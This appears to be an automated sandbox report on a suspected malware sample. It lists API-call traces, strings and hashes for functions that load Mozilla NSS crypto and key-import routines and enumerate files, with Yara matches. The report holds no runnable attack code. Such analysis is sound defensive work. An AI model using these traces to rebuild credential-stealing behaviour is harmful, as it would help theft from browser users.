strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF27335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF27344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF27363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF27372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6D060148,,defaultModDB,internalKeySlot), ref: 6CF274CC
free.MOZGLUE(00000000), ref: 6CF27513
free.MOZGLUE(00000000), ref: 6CF2751B
free.MOZGLUE(00000000), ref: 6CF27528
free.MOZGLUE(00000000), ref: 6CF2753C
free.MOZGLUE(00000000), ref: 6CF27550
free.MOZGLUE(00000000), ref: 6CF27561
free.MOZGLUE(00000000), ref: 6CF27572
free.MOZGLUE(00000000), ref: 6CF27583
free.MOZGLUE(00000000), ref: 6CF27594
free.MOZGLUE(00000000), ref: 6CF275A2
SECMOD_LoadModule.NSS3(00000000,00000000,?), ref: 6CF275BD
free.MOZGLUE(00000000), ref: 6CF275C8
free.MOZGLUE(00000000), ref: 6CF275F1
PR_NewLock.NSS3 ref: 6CF27636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CF27686
PR_NewLock.NSS3 ref: 6CF276A2

Part of subcall function 6CFD98D0: calloc.MOZGLUE(?,00000084,6CF00936,00000001,?,6CF0102C), ref: 6CFD98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CF276B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CF27707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CF2771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CF27731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CF2774A
DeleteCriticalSection.KERNEL32(?), ref: 6CF27770
free.MOZGLUE(?), ref: 6CF27779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF2779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF277AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CF277C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF277DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CF27821
PORT_Alloc_Util.NSS3(?), ref: 6CF27837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CF2785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF2786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CF278AC
free.MOZGLUE(00000000), ref: 6CF278BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CF278F3
free.MOZGLUE(00000000), ref: 6CF278FC
free.MOZGLUE(00000000), ref: 6CF2791C

Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007AD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007CD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007D6
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,00000144,?,?,?,?,6CE9204A), ref: 6CF007E4
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,6CE9204A), ref: 6CF00864
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,0000002C), ref: 6CF00880
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,6CE9204A), ref: 6CF008CB
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008D7
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008FB

Strings

kbi., xrefs: 6CF27886
NSS Internal Module, xrefs: 6CF274A2, 6CF274C6
rdb:, xrefs: 6CF27744
dll, xrefs: 6CF2788E
Spac, xrefs: 6CF27389
dbm:, xrefs: 6CF27716
sql:, xrefs: 6CF276FE
,defaultModDB,internalKeySlot, xrefs: 6CF2748D, 6CF274AA
extern:, xrefs: 6CF2772B
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CF274C7

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 1eb89e4e1739ac6d7744f4e52edc932c9eb6b5f60d6491d91faf0f9e6d9f1ba5
Instruction ID: 6dad960d52adfd9fc33ffb5f8cce308fba68ad231a504f3eb364d75f9184acf4
Opcode Fuzzy Hash: 1eb89e4e1739ac6d7744f4e52edc932c9eb6b5f60d6491d91faf0f9e6d9f1ba5
Instruction Fuzzy Hash: 405211B1D01355DBEF218FB4DC05BAABBB4BF06308F14402AED09A7A41E779D954CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CF36D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6D03A8EC,0000006C), ref: 6CF36DC6
memcpy.VCRUNTIME140(?,6D03A958,0000006C), ref: 6CF36DDB
memcpy.VCRUNTIME140(?,6D03A9C4,00000078), ref: 6CF36DF1
memcpy.VCRUNTIME140(?,6D03AA3C,0000006C), ref: 6CF36E06
memcpy.VCRUNTIME140(?,6D03AAA8,00000060), ref: 6CF36E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF36E38

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CF36E76
TlsGetValue.KERNEL32 ref: 6CF3726F
EnterCriticalSection.KERNEL32(?), ref: 6CF37283

Strings

!, xrefs: 6CF37123

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 309fb06521705c19d101da2256c4c024ddd8f805e18a1b1c0eab019157b155ae
Instruction ID: ce65b006533e1781bb5dbbf438581eba5bc2adb5775f3109cb3c83bbdcd02dea
Opcode Fuzzy Hash: 309fb06521705c19d101da2256c4c024ddd8f805e18a1b1c0eab019157b155ae
Instruction Fuzzy Hash: 31727E75D05229EFDF60DF28CC8879ABBB5BB49304F1441A9E80DA7741E731AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEA3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CEA3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEA3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEA3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEA3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEA4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEA406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CEA410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEA449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEA4452, 6CEA4486, 6CEA44EA, 6CEA4571, 6CEA4580, 6CEA458F, 6CEA475A, 6CEA47FA
%s at line %d of [%.10s], xrefs: 6CEA4495, 6CEA44F9, 6CEA459E, 6CEA4769, 6CEA4809
database corruption, xrefs: 6CEA4490, 6CEA44F4, 6CEA4599, 6CEA4764, 6CEA4804

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 4c7086d801f4d959a9605cc304c7a17c14d336deeffc5187171450992a52ddcd
Instruction ID: 895d67052467ce0607e658f557f71b5ed78fa03ee9d75b9ddb9169c61cb8412f
Opcode Fuzzy Hash: 4c7086d801f4d959a9605cc304c7a17c14d336deeffc5187171450992a52ddcd
Instruction Fuzzy Hash: 11824875A002159FDB04CFA9C480B9AB7B2BF49318F3591AAD905AFB51DB31EC43CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF7AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CF7ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CF7ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CF7ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CF7AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CF7ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF7ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF7ADF0

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF7B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF7B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF7B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF7B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CF7B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF7B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF7B40C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: e1a03d9148eead5ab099acd65e74bbdf5909b40181ecf8535b2b69bdaff10460
Instruction ID: 54fdd8d06b8fc5e9bc34aa7b85bded1a1f9018b6e34da0ea22c41936c79db204
Opcode Fuzzy Hash: e1a03d9148eead5ab099acd65e74bbdf5909b40181ecf8535b2b69bdaff10460
Instruction Fuzzy Hash: 3D22C171904301AFE720CF14DC44B9B77E1AF8530CF24896EE9585B792E772E859CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CEFECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CEFED38

Part of subcall function 6CE94F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE94FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CEFEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CEFEFE4

Part of subcall function 6CFBDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CE95001,?,00000003,00000000), ref: 6CFBDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CEFF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CEFF129
sqlite3_mprintf.NSS3(optimize), ref: 6CEFF1D1
sqlite3_free.NSS3(?), ref: 6CEFF368

Strings

unicode61, xrefs: 6CEFEDB5
offsets, xrefs: 6CEFEFAF, 6CEFEFDF, 6CEFF01F
optimize, xrefs: 6CEFF199, 6CEFF1CC, 6CEFF211
snippet, xrefs: 6CEFEF05, 6CEFEF37, 6CEFEF7C
fts4aux, xrefs: 6CEFECF9
fts3tokenize, xrefs: 6CEFF30F
fts3_tokenizer, xrefs: 6CEFEE1A, 6CEFEEA8
fts3, xrefs: 6CEFF247
fts4, xrefs: 6CEFF2AD
simple, xrefs: 6CEFED79
porter, xrefs: 6CEFED97
matchinfo, xrefs: 6CEFF04F, 6CEFF082, 6CEFF0C2, 6CEFF0F2, 6CEFF124, 6CEFF169

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 90e340cad8e5b29a7e1038bf8628ac88f85f2245aee00a0322868671ac0a709f
Instruction ID: 818c4050c5e838b8cb1e0efc0047b3c10ba9608e14ec333109c9ccdc0e7d62cb
Opcode Fuzzy Hash: 90e340cad8e5b29a7e1038bf8628ac88f85f2245aee00a0322868671ac0a709f
Instruction Fuzzy Hash: 4202C0B2A043419BE7049F71988573F36F1BBC560CF28853CD86A97B45EB79E846C782

Uniqueness

Uniqueness Score: -1.00%

Function 6CF77C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF77C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CF77C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CF77D1E

Part of subcall function 6CF77870: SECOID_FindOID_Util.NSS3(?,?,?,6CF791C5), ref: 6CF7788F

SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF77D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CF77D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CF77DD3
SECITEM_ZfreeItem_Util.NSS3(?,?), ref: 6CF77DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF77DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CF77E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CF77E58

Part of subcall function 6CF77870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF791C5), ref: 6CF778BB
Part of subcall function 6CF77870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CF791C5), ref: 6CF778FA
Part of subcall function 6CF77870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CF791C5), ref: 6CF77930
Part of subcall function 6CF77870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CF791C5), ref: 6CF77951
Part of subcall function 6CF77870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF77964
Part of subcall function 6CF77870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CF7797A
Part of subcall function 6CF77870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CF77988
Part of subcall function 6CF77870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CF77998
Part of subcall function 6CF77870: free.MOZGLUE(00000000), ref: 6CF779A7
Part of subcall function 6CF77870: SECITEM_ZfreeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CF791C5), ref: 6CF779BB
Part of subcall function 6CF77870: PR_GetCurrentThread.NSS3(?,?,?,?,6CF791C5), ref: 6CF779CA

SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF77E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CF77F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CF77F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CF77FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF77FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CF78038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CF78050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CF78093
SECOID_FindOID_Util.NSS3 ref: 6CF77F29

Part of subcall function 6CF707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CF18298,?,?,?,6CF0FCE5,?), ref: 6CF707BF
Part of subcall function 6CF707B0: PL_HashTableLookup.NSS3(?,?), ref: 6CF707E6
Part of subcall function 6CF707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CF7081B
Part of subcall function 6CF707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CF70825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CF78072
SECOID_FindOID_Util.NSS3 ref: 6CF780F5

Part of subcall function 6CF7BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CF7800A,00000000,?,00000000,?), ref: 6CF7BC3F

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 7fb48a3adb1222fa7256b6d0e2a3c837992e6e5dee74b75bfa22be81e36619a2
Instruction ID: abf4805402e8b03bb60c21711ef0d31d1c07da7a13cc2d3478c24d2885cdc3a5
Opcode Fuzzy Hash: 7fb48a3adb1222fa7256b6d0e2a3c837992e6e5dee74b75bfa22be81e36619a2
Instruction Fuzzy Hash: B0E191716143009FD721CF25E984B5B77E5EF48308F14492FE8999BB50E731E805CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 004121F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
HeapAlloc.KERNEL32(00000000), ref: 00412207
wsprintfA.USER32 ref: 00412223
FindFirstFileA.KERNEL32(?,?), ref: 0041223A
StrCmpCA.SHLWAPI(?,0041D84C), ref: 00412268
StrCmpCA.SHLWAPI(?,0041D850), ref: 0041227E
FindNextFileA.KERNEL32(000000FF,?), ref: 004122FF
FindClose.KERNEL32(000000FF), ref: 00412314
lstrcat.KERNEL32(?,02DD4BF0), ref: 00412339
lstrcat.KERNEL32(?,02DDB4D0), ref: 0041234C
lstrlen.KERNEL32(?), ref: 00412359
lstrlen.KERNEL32(?), ref: 0041236A

Strings

%s\*, xrefs: 00412217
%s\%s, xrefs: 00412295

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 89b273d4ecc4455f4a96a2e337ebf9a517966c225bd07f59535e14bd1bc3661c
Instruction ID: 68eafe57ffc654504e5fb8166b756e3a47007b1446461b295be9b39175aa6662
Opcode Fuzzy Hash: 89b273d4ecc4455f4a96a2e337ebf9a517966c225bd07f59535e14bd1bc3661c
Instruction Fuzzy Hash: 5551A6B5940618ABCB20EBB0DC89FEE737DAB98300F404689F61A96150DF749BC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6CF01C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CF01C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CF01C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CF01CA1
GetLengthSid.ADVAPI32(?), ref: 6CF01CA9
malloc.MOZGLUE(00000000), ref: 6CF01CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CF01CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CF01CE4
GetLengthSid.ADVAPI32(?), ref: 6CF01CEC
malloc.MOZGLUE(00000000), ref: 6CF01CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CF01D0F
CloseHandle.KERNEL32(?), ref: 6CF01D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CF01D4D
GetLastError.KERNEL32 ref: 6CF01D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CF01D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CF01D7A

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: cac3d63a6e2b81874d09a123bbf47005aef21afef1a8ee14b630fe2d54b22b0f
Instruction ID: 41dbb9a9ea68c96af2a99ea63353995a8f70261c1b2363f9ae10b9dff341bd12
Opcode Fuzzy Hash: cac3d63a6e2b81874d09a123bbf47005aef21afef1a8ee14b630fe2d54b22b0f
Instruction Fuzzy Hash: 8F3130B5901258AFEF10DF64CC48BEA7BB8FF4A309F008169FA09A6151E7305994CF69

Uniqueness

Uniqueness Score: -1.00%

Function 6CF03D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CF03DFB
__allrem.LIBCMT ref: 6CF03EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF03FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CF04047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF040DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF0415F
__allrem.LIBCMT ref: 6CF0416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF04288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF042AB
__allrem.LIBCMT ref: 6CF042B7

Strings

%02d, xrefs: 6CF04086
%03d, xrefs: 6CF042E8
%lld, xrefs: 6CF03FB2
%04d, xrefs: 6CF0407B

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

